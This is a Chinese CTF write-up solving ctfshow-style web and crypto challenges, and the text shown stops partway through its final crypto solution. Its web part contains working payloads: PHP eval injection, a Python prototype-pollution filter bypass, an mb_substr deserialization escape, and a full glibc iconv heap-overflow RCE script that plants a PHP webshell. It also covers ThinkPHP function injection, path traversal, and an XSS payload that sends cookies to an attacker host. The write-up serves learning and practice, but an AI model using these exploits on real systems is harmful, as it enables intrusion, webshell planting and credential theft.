Web

CodeInject

源码:

<?php

#Author: h1xa

error_reporting(0);
show_source(__FILE__);

eval("var_dump((Object)$_POST[1]);");

闭合前面,把命令拼接进去即可。

1=1);system("cat /000f1ag.txt");?>

easy_polluted

源码:

from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)

return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
def __init__(self):
pass

@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("flag.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

python的原型链污染,需要把app.secret_key污染成一个我们想要的值,接着把 _static_folder的路径污染成服务器的根目录,实现任意文件读取从而得到flag。

过滤的绕过可以用 unicode 编码来绕,因为源码在检测waf后用了 json.loads 解析字符串,能识别 unicode。

{"username":"adminer","password":"123","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" :{"\u0061\u0070\u0070" :{"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079": "123","\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072":"\u002f"}}}}

之后访问 /static/flag即可得到flag。

Ezzz_php

源码:

<?php 
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
public $start;
public $filename="/etc/passwd";
public function __construct($start){
$this->start=$start;
}
public function __destruct(){
if($this->start == "gxngxngxn"){
echo 'What you are reading is:'.file_get_contents($this->filename);
}
}
}
if(isset($_GET['start'])){
$readfile = new read_file($_GET['start']);
$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
if(preg_match("/\[|\]/i", $_GET['read'])){
die("NONONO!!!");
}
$ctf = substrstr($read."[".serialize($readfile)."]");
unserialize($ctf);
}else{
echo "Start_Funny_CTF!!!";
}

先是字符串逃逸反序列化

参考链接:Web-逃跑大师–第二届黄河流域公安院校网络空间安全技能邀请赛

当以 \xF0 开头的字节序列出现在 UTF-8 编码中时,通常表示一个四字节的 Unicode 字符。这是因为 UTF-8 编码规范定义了以 \xF0 开头的字节序列用于编码较大的 Unicode 字符。
不符合4位的规则的话,mb_substr和mb_strpos执行存在差异:
(1)mb_strpos遇到\xF0时,会把无效字节先前的字节视为一个字符,然后从无效字节重新开始解析
mb_strpos("\xf0\x9fAAA<BB", '<'); #返回4 \xf0\x9f视作是一个字节,从A开始变为无效字节 #A为\x41 上述字符串其认为是7个字节

(2)mb_substr遇到\xF0时,会把无效字节当做四字节Unicode字符的一部分,然后继续解析
mb_substr("\xf0\x9fAAA<BB", 0, 4); #"\xf0\x9fAAA<B" \xf0\x9fAA视作一个字符 上述字符串其认为是5个字节

结论:mb_strpos相对于mb_substr来说,可以把索引值向后移动

因此我们可以知道

每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节

所以第一步是先在 start 里传入我们想要序列化的字符串,然后通过截取把前面的那些干扰字符去掉,从而能够控制 filename的值任意读文件。

?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}

这只是第一步,后边要利用 file_get_contents($this->filename); 来rce。

参考链接:【翻译】从设置字符集到RCE:利用 GLIBC 攻击 PHP 引擎(篇一)

EXP

基本原理就是 iconv 在转换 ISO-2022-CN-EXT 时出现越界写入,iconvphp://filter/ 使用过滤器时会使用的函数,后边就是pwn的知识了。

更简单的流程就是,先读出php所使用的 libc 和所使用堆的基地址,然后通过缓冲区溢出的越界写入,实现地址覆盖,调用 libc 里面的函数, 从而rce。

脚本所需依赖安装:

ten :按照里面的说明进行安装。

pwntools: 在linux下安装,windows 要装 winpwntools

pip install pwntools

EXP:

import requests
import re
from ten import *
from pwn import *
from dataclasses import dataclass
from base64 import *
import zlib
from urllib.parse import quote

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")

url = "https://1e978a69-8ead-4157-8af7-839756b45872.challenge.ctf.show/"
command: str = "echo '<?php eval($_POST[1]);?>'>/var/www/html/1.php;"
sleep: int = 1
PAD: int = 20
pad: int = 20
info = {}
heap = 0

@dataclass
class Region:
"""A memory region."""

start: int
stop: int
permissions: str
path: str

@property
def size(self) -> int:
return self.stop - self.start

# 获取 /proc/self/maps
def get_maps():
data = '?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:59:"php://filter/convert.base64-encode/resource=/proc/self/maps";}'

r = requests.get(url+data).text
# print(r)
data = re.search("What you are reading is:(.*)", r).group(1)
# print(txt)
return b64decode(data)
# 获取 libc
def download_file(get_file , local_path):
filename = "php://filter/convert.base64-encode/resource="+get_file
data = '?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:[num]:"[filename]";}'
data = data.replace('[num]',str(len(filename)))
data = data.replace('[filename]',filename)
r = requests.get(url + data).text
data = re.search("What you are reading is:(.*)", r).group(1)
data = b64decode(data)
open(local_path,'wb').write(data)
# Path(local_path).write(data)


def get_regions():
maps = get_maps()
maps = maps.decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print(maps)
# failure("Unable to parse memory mappings")

# self.log.info(f"Got {len(regions)} memory regions")

return regions

# 通过 /proc/self/maps 得到 堆地址
def find_main_heap(regions: list[Region]) -> Region:
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE - 1) == 0
and region.path == ""
]

if not heaps:
failure("Unable to find PHP's main heap in memory")

first = heaps[0]

if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")

return first


def _get_region(regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")

return region

# 下载 libc 文件
def get_symbols_and_addresses():
regions = get_regions()
LIBC_FILE = "/dev/shm/cnext-libc"

# PHP's heap

info["heap"] = heap or find_main_heap(regions)

# Libc

libc = _get_region(regions, "libc-", "libc.so")

download_file(libc.path, LIBC_FILE)

info["libc"] = ELF(LIBC_FILE, checksec=False)
info["libc"].address = libc.start

def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
payload = b64encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload

def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)

return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"

# 攻击 payload 的生成
def build_exploit_path() -> str:
LIBC = info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

ADDR_HEAP = info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

CS = 0x100

# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)

step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)

# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)

step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)

step3_size = CS

step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)

step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)

step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)

# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)

step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)

step4_use_custom_heap_size = 0x140

COMMAND = command
COMMAND = f"kill -9 $PPID; {COMMAND}"
if sleep:
COMMAND = f"sleep {sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"

assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * PAD
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)

resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"

filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",

# Step 0: Setup heap
"dechunk",
"convert.iconv.latin1.latin1",

# Step 1: Reverse FL order
"dechunk",
"convert.iconv.latin1.latin1",

# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.latin1.latin1",

# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",

# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
# print(path)
return path

# 开始攻击。攻击返回404是成功的标志,因为 command 最前面把进程 kill 掉了
# COMMAND = f"kill -9 $PPID; {COMMAND}"
def exploit() -> None:
path = build_exploit_path()
start = time.time()

try:
data = '?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:[num]:"[data]";}'

data = data.replace('[num]', str(len(path)))
data = data.replace('[data]', quote(path))
# print(data)
r = requests.get(url + data).text
# print("r: ",r)
data = re.search("What you are reading is:(.*)", r).group(1)
print('-----end-----')
# print("data; ",data)
data = b64decode(data)
print(data)
except:
print("Error")

msg_print()

if not sleep:
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
elif start + sleep <= time.time():
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
else:
# Wrong heap, maybe? If the exploited suggested others, use them!
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")

msg_print()


get_symbols_and_addresses()
print(info)
exploit()

攻击成功后,访问 1.php,即可利用写入的马来rce。

tpdoor

根据图标可以知道这是 thinkphp ,通过报错可知这是 ThinkPHP V8.0.3

源码只给了 index.php,猜测是框架本身的洞,网上找不到关于 thinkphp8 的洞。

源码:

<?php

namespace app\controller;

use app\BaseController;
use think\facade\Db;

class Index extends BaseController
{
protected $middleware = ['think\middleware\AllowCrossDomain','think\middleware\CheckRequestCache','think\middleware\LoadLangPack','think\middleware\SessionInit'];
public function index($isCache = false , $cacheTime = 3600)
{
if($isCache == true){
$config = require __DIR__.'/../../config/route.php';
$config['request_cache_key'] = $isCache;
$config['request_cache_expire'] = intval($cacheTime);
$config['request_cache_except'] = [];
file_put_contents(__DIR__.'/../../config/route.php', '<?php return '. var_export($config, true). ';');
return 'cache is enabled';
}else{
return 'Welcome ,cache is disabled';
}
}

}

分析源码,在 index路由,有一个 require __DIR__.'/../../config/route.php' 操作,同时后边还会对config/route.php修改,猜测和config/route.php文件有关。可控的值是$config['request_cache_key']

先全局搜关键字 request_cache_key ,可以在 vendor/topthink/framework/src/think/middleware/CheckRequestCache.php里发现关键字。

然后打个断点调试,接着单步调试。

跟进 parseCacheKey,可以看到这里的 elseif| 为分割得到 $key$fun

接着在下边动态执行函数。

route.php修改request_cache_key的值,再次调试看能不能符合条件。

再次调试到该位置,发现能进入 elseif,并成功给 $key$fun赋值。

之后就走到 $key = $fun($key); ,成功执行函数。

至此,调试结束,接下来是利用。

根据 thinkphp 的路由规则,访问 /index.php/index/index,能够走到题目给出的Index\index里,然后传递参数isCachecacheTime

然后在 isCache里输入命令,设置cacheTime 为1秒,让cache生效快点,多访问几次,成功RCE。

NewerFileDetector

源码:

app.py

from flask import Flask,request,session
import magika
import uuid
import json
import os
from bot import visit as bot_visit
import ast

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
app.static_folder = 'public/'
vip_user = "vip"
vip_pwd = str(uuid.uuid4())
curr_dir = os.path.dirname(os.path.abspath(__file__))
CHECK_FOLDER = os.path.join(curr_dir,"check")
USER_FOLDER = os.path.join(curr_dir,"public/user")
mg = magika.Magika() #深度学习

def isSecure(file_type):
D_extns = ["json",'py','sh', "html"]
if file_type in D_extns:
return False
return True

@app.route("/login",methods=['GET','POST'])
def login():
if(session.get("isSVIP")):
return "logined"
if request.method == "GET":
return "input your username and password plz"
elif request.method == "POST":
try:
user = request.form.get("username").strip()
pwd = request.form.get("password").strip()
if user == vip_user and pwd == vip_pwd:
session["isSVIP"] = "True"
else:
session["isSVIP"] = "False"
# 写入硬盘中,方便bot验证。
file = os.path.join(CHECK_FOLDER,"vip.json")
with open(file,"w") as f:
json.dump({k: v for k, v in session.items()},f)
f.close()
return f"{user} login success"
except:
return "you broke the server,get out!"

@app.route("/upload",methods = ["POST"])
def upload():
try:
content = request.form.get("content").strip()
name = request.form.get("name").strip()
file_type = mg.identify_bytes(content.encode()).output.ct_label #判断文件内容
if isSecure(file_type):
file = os.path.join(USER_FOLDER,name)
with open(file,"w") as f:
f.write(content)
f.close()
return "ok,share your link to bot: /visit?link=user/"+ name
return "black!"
except:
return "you broke the server,fuck out!"

@app.route('/')
def index():
return app.send_static_file('index.html')

@app.route('/visit')
def visit():
link = request.args.get("link")
return bot_visit(link)

@app.route('/share')
def share():
file = request.args.get("file")
return app.send_static_file(file)

@app.route("/clear",methods=['GET'])
def clear():
session.clear()
return "session clear success"

@app.route("/check",methods=['GET'])
def check():
path = os.path.join(CHECK_FOLDER,"vip.json") #join
if os.path.exists(path):
content = open(path,"r").read()
try:
isSVIP = ast.literal_eval(json.loads(content)["isSVIP"])
except:
isSVIP = False
return "VIP" if isSVIP else "GUEST"
else:
return "GUEST"

if __name__ == "__main__":
app.run("0.0.0.0",5050)

bot.py

from selenium import webdriver
import time
import os

# bot nodejs puppter selenium
flag = os.getenv("flag") if os.getenv("flag") is not None else "flag{test}"

option = webdriver.ChromeOptions()
option.add_argument('--headless')
option.add_argument('--no-sandbox')
option.add_argument('--disable-logging')
option.add_argument('--disable-dev-shm-usage')

browser = webdriver.Chrome(options=option)
cookie = {'name': 'flag', 'value': flag, 'domain':'localhost','httpOnly': False}

def visit(link):
try:
browser.get("http://localhost:5050/check") #检测是否为vip
browser.add_cookie(cookie)
page_source = browser.page_source
print(page_source)
if "VIP" not in page_source:
return "NONONO" # pass
print(cookie)
url = "http://localhost:5050/share?file=" + link
if ".." in url:
return "Get out!"
browser.get(url)
time.sleep(1)
browser.quit()
print("success")
return "OK"
except Exception as e:
print(e)
return "you broke the server,get out!"

分析源码,可以知道这是一个xss的题,bot的逻辑很简单,当检查是vip时,即可把 flag 放在 cookie 里并访问 http://localhost:5050/share?file=xxx

分析app.py/upload路由可以任意上传文件,/check路由通过读取 vip.json来检查是否为vip。

那么题目的思路就是先上传一个 vip.json来覆盖掉旧的vip.sjon,从而通过/check,接着再上传一个html,实现xss。

测试可以发现,直接写一个js的代码不会被识别成html,重点是 json 识别的绕过。

html

<script>alert(1)</script>

magika 进行代码审计,跟进 identify_bytes -> _get_result_from_bytes -> _get_result_or_features_from_bytes

可以发现对文本内容进行了长度判断。接着跟进 _get_result_of_few_bytes -> _get_ct_label_of_few_bytes,可以看到是直接返回了文本内容。

接着查找长度,跟进 _min_file_size_for_dl ,最终发现它的值是从文件里读取的。

去找这个文件看看。

可以得到 _min_file_size_for_dl 的值是 16 ,也就是说,只要我们文本的内容长度少于16,就不会对文件进行检测。

/check路由中,对vip的判断是"VIP" if isSVIP else "GUEST",只要 isSVIP不为空或者不是 False,即可通过判断。

那么接下来上传的内容可以这么写,可以绕过长度限制:

{"isSVIP":"1"}

没有过滤 .. ,可以用相对路径跳回根目录再接着往下写。

../../../../../app/check/vip.json
/upload

POST:
name=../../../../app/check/vip.json&content={"isSVIP":"1"}

访问 /ckeck,已经成为 vip 了。

最后就是xss了,上传一个简单的 html ,然后让 bot 访问就行了。

/upload

POST:
name=1.html&content=<script>fetch("http://[ip:port]/?flag="%2bdocument.cookie)</script>

访问 /visit?link=user/1.html

Crypto

奇怪的条形码

找个工具把图片弄扁一点就能清晰地看到图上的内容了。

base64解码得到flag。

Y3Rmc2hvd3t4aWd1YmVpX21pc2NfZ3JhbV9oZXJlX2ZsYWd9

ctfshow{xigubei_misc_gram_here_flag}

简单密码

密文:

647669776d757e83817372816e707479707c888789757c92788d84838b878d9d

猜测flag头是ctfshow{,把它转成16进制

63746673686f777b

对比密文可以发现是变种凯撒,写脚本还原。

enc = "647669776d757e83817372816e707479707c888789757c92788d84838b878d9d"

enc = bytes.fromhex(enc)
flag = ''
for i in range(len(enc)):
tmp = enc[i]-i-1
flag += chr(tmp)

print(flag)
# ctfshow{xiguabei_just_ez_signin}

factor

源码:

from Crypto.Util.number import *
import gmpy2
import os
from enc import flag

hint = os.urandom(36)
tmp = bytes_to_long(hint)
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
d = getPrime(400)
phi = (p-1)*(q-1)
e = gmpy2.invert(d,phi)
n = p*q
c = pow(m,e,n)
leak1 = p^tmp
leak2 = q^tmp
print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
print(f"leak1 = {leak1}")
print(f"leak2 = {leak2}")
'''
n = 145462084881728813723574366340552281785604069047381248513937024180816353963950721541845665931261230969450819680771925091152670386983240444354412170994932196142227905635227116456476835756039585419001941477905953429642459464112871080459522266599791339252614674500304621383776590313803782107531212756620796159703
e = 10463348796391625387419351013660920157452350067191419373870543363741187885528042168135531161031114295856009050029737547684735896660393845515549071092389128688718675573348847489182651631515852744312955427364280891600765444324519789452014742590962030936762237037273839906251320666705879080373711858513235704113
c = 60700608730139668338977678601901211800978306010063875269252006068222163102100346920465298044880066999492746508990629867396189713753873657197546664480233269806308415874191048149900822050054539774370134460339681949131037133783273410066318511508768512778132786573893529705068680583697574367357381635982316477364
leak1 = 13342820281239625174817085182586822673810894195223942279061039858850534510679297962596800315875604798047264337469828123370586584840078728059729121435462780
leak2 = 10901899434728393473569359914062349292412269512201554924835672710780580634465799069211035290729536290605761024818770843901501694556825737462457471235151530
'''

观察可知,leak1 ^ leak2 == p ^ q,由这个条件,可以用 dfs 爆破出p和q,爆破的时候剪枝加速。

from Crypto.Util.number import *
import gmpy2

n = 145462084881728813723574366340552281785604069047381248513937024180816353963950721541845665931261230969450819680771925091152670386983240444354412170994932196142227905635227116456476835756039585419001941477905953429642459464112871080459522266599791339252614674500304621383776590313803782107531212756620796159703
e = 10463348796391625387419351013660920157452350067191419373870543363741187885528042168135531161031114295856009050029737547684735896660393845515549071092389128688718675573348847489182651631515852744312955427364280891600765444324519789452014742590962030936762237037273839906251320666705879080373711858513235704113
c = 60700608730139668338977678601901211800978306010063875269252006068222163102100346920465298044880066999492746508990629867396189713753873657197546664480233269806308415874191048149900822050054539774370134460339681949131037133783273410066318511508768512778132786573893529705068680583697574367357381635982316477364
leak1 = 13342820281239625174817085182586822673810894195223942279061039858850534510679297962596800315875604798047264337469828123370586584840078728059729121435462780
leak2 = 10901899434728393473569359914062349292412269512201554924835672710780580634465799069211035290729536290605761024818770843901501694556825737462457471235151530
leak = leak1 ^ leak2


a1 = "00" + str(bin(leak)[2:])
def find(p,q):
l = len(p)
tmp0 = p + (512-l)*"0"
tmp1 = p + (512-l)*"1"
tmq0 = q + (512-l)*"0"
tmq1 = q + (512-l)*"1"
if(int(tmp0,2) < int(tmq0,2)):
return
if(int(tmp0,2)*int(tmq0,2) > n):
return
elif(int(tmp1,2)*int(tmq1,2) < n):
return
if l == 512:
if n%int(p,2)==0:
pp = int(p,2)
qq = int(q,2)
d = gmpy2.invert(e, (pp - 1) * (qq - 1))
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)

try:
if(a1[l] == "1"):
find(p+"1",q+"0")
find(p+"0",q+"1")
else:
find(p+"0",q+"0")
find(p+"1",q+"1")
except:
pass

tempp = ""
tempq = ""
find(tempp,tempq)
# b'cftshow{do_you_know_what_is_xor_and_prune!!!}'

给你d又怎样

源码:

from Crypto.Util.number import *
from gmpy2 import *

flag="ctfshow{***}"
m=bytes_to_long(flag.encode())
e=65537
p=getPrime(128)
q=getPrime(128)
n=p*q
phin=(p-1)*(q-1)
d=invert(e,phin)
c=pow(m,e,n)
print("c=",c)
print("hint=",pow(n,e,c))
print("e=",e)
print("d=",d)
"""
c= 48794779998818255539069127767619606491113391594501378173579539128476862598083
hint= 7680157534215495795423318554486996424970862185001934572714615456147511225105
e= 65537
d= 45673813678816865674850575264609274229013439838298838024467777157494920800897
"""

题目给了 pow(n,e,c),已知 n > c,那么可以先分解 c用rsa求出 n-c,从而得到 n ,后续就是直接解出flag。

c可以用在线分解网站分解。

from Crypto.Util.number import *
from gmpy2 import *

c=48794779998818255539069127767619606491113391594501378173579539128476862598083
hint= 7680157534215495795423318554486996424970862185001934572714615456147511225105
e= 65537
d= 45673813678816865674850575264609274229013439838298838024467777157494920800897
n = 0

cp = 6091
cq = 8010963716765433514869336359812774009376685535134030237002058632158407913

e = 65537

d2 = gmpy2.invert(e, (cp - 1) * (cq - 1))
n = pow(hint, d2, c) + c

m = pow(c,d,n)
flag = long_to_bytes(m)
print(flag)

# b'ctfshow{Oh_u_knOw_4uler}'

混合密码体系

源码:

# 库
from Crypto.Util.number import bytes_to_long,getPrime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

# 对称加密
flag = b'ctfshow{***}' # 密文,隐藏
key = b'flag{***}' # 会话密钥,隐藏
iv = b'flag{1fake_flag}' # AES偏移向量,已知
# 对明文进行填充,使其长度符合AES加密的要求
padded_plaintext = pad(flag, AES.block_size)

# 创建AES加密对象
cipher = AES.new(key, AES.MODE_CBC, iv)

# 加密
ciphertext = cipher.encrypt(padded_plaintext)

# 加密后的文本通常是字节串,转成整数便于进行会话密钥的RSA加密
c1 = bytes_to_long(ciphertext)

print(f'c1 = {c1}')

# 非对称加密
m = bytes_to_long(key)
e = 0x10001
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(m,e,n)
print(f'p = {p}')
print(f'q = {q}')
print(f'n = {n}')
print(f'c2 = {c}')
# print("hint:key需要转成字节流也就是b''")

'''
c1 = 10274623386006297478525964130173470046355982953419353351509177330015001060887455252482567718546651504491658563014875
p = 126682770761631193509957156425049279522830651950325320826580754739365086374362604934854454428815835196844469535588686149210573266628767888593088817059600076401582225549728184309047483547810100015820325082976781284679340880386138390518973395696206374336712856387090369022746536868747455939074262253452873845903
q = 99825079362327808334563489684167271427241139432727401182808888165552821217781929397837262324242177528386988701584385208395369790542025175917752058047649096340776854252623173162664426065810683048016574420043010318337693586527652970534982946701493024718805916479479658257730226388868060010370893747360166996939
n = 12646117645119414744807511144503229609414192869007113075368323921021672404219693075011763838210400633721060798765473421092201704833591315689681668160927426685183273670665030724394172000165517517884654100267567861284096827407481978978840602383267875832034344793848710383473014512122260278131503985961857107838296047172582364612603344429943715046318283653354068887129071531081918798285138812386418361474496678248683513378861801570673376726388110813411011818940310547686977359605296489433805717348250520973842927175837164120905300831792358190183785344002217291207378744610039145999012939983693891188308725179098958690917
c2 = 5211902378262010726785508340196935051860438587769647187076059600864676774592415052428465708887047312982844957691943180258845015420187239772414768121857728821510440178906193308448250067671679439841031484589864038401572589752057423667532898133171822921282769652197139455317095891357335645435094243006629469245881345449943250189771998449015275390517315432969774421721243965028796050948747282387052634211032729131656214346307483397410725129682422969273915759947596313513270946529649661334582775282060624547405060499311618257517792321792697831000977711752728887999320311631022598717946355057272761740061999974856808147244
'''

flag用aes加密,aes的key用rsa加密。

先求出 key 再求 flag 即可。

from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import gmpy2

e = 0x10001
c1 = 10274623386006297478525964130173470046355982953419353351509177330015001060887455252482567718546651504491658563014875
p = 126682770761631193509957156425049279522830651950325320826580754739365086374362604934854454428815835196844469535588686149210573266628767888593088817059600076401582225549728184309047483547810100015820325082976781284679340880386138390518973395696206374336712856387090369022746536868747455939074262253452873845903
